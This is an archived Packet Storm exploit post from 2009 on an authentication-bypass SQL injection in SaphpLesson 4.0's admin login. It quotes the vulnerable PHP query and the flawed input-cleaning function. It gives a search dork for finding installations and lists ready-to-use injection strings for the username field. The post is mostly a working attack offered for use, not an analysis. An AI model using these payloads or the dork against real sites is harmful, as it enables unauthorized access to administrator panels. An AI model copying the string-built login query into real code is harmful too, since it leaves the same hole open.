Exploit the possiblities

SaphpLesson 4.0 SQL Injection

SaphpLesson 4.0 SQL Injection
Posted Jul 24, 2009
Authored by SwEET-DeViL

SaphpLesson version 4.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
MD5 | f5a6b9e3af5b040408dbe572fcc0c8f6

SaphpLesson 4.0 SQL Injection

Change Mirror Download
---------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------
#
# #### # ### ## ### #### #### ### ##### #### #### ### # ### #### ######
## # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # #
# # ### # # ### # # ## ### ### # # # # ### ## # # # ### #
#### # # #### # # ###### # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # ## # # # # # # # ## # #
## ##### ## ###### ### ### #### ### # # ### #### #### ### # ### # #### ###


#----------------------------------------------------------------------------------------------------------------
Script : SaphpLesson
version : 4.0
Language: PHP
Site: http://www.saphplesson.org
Download: http://www.saphplesson.org/saphplesson.zip
Dork: intext:Powered by SaphpLesson 4.0
Found by: SwEET-DeViL

need magic_quotes_gpc = Off

#----------------------------------------------------------------------------------------------------------------

)=> admin/login.php
.................................................................................................................
if ($_SERVER["REQUEST_METHOD"]=="POST"){
$username = CleanVar($_POST["cp_username"]); <======================================{
$password = md5(CleanVar($_POST["cp_password"]));
$IsLogin = $db->get_var("select count(*) from modretor Where ModName='".$username."' and ModPassword='".$password."'");

.................................................................................................................

function of insecure !!

)-)=> includes/functions.php
---------------------------------------
.[106] function CleanVar($var)
.[107] {
.[108] (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);
.[109]
.[110] return htmlspecialchars(trim($var));
.[111] }
---------------------------------------

#Exploit:

username : 'or 1=1/*
OR
username : 'or 1=1 or '
OR
username : admin ' or ' 1=1--
....

password: SwEET-DeViL

---------------------------------------


/-------------www.arab4services.net-----------------\
|+------------------------------------------------+ |
|| SwEET-DeViL & viP HaCkEr | |
|| gamr-14(at)hotmail.com | |
|+------------------------------------------------+ |
\---------------------------------------------------/


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close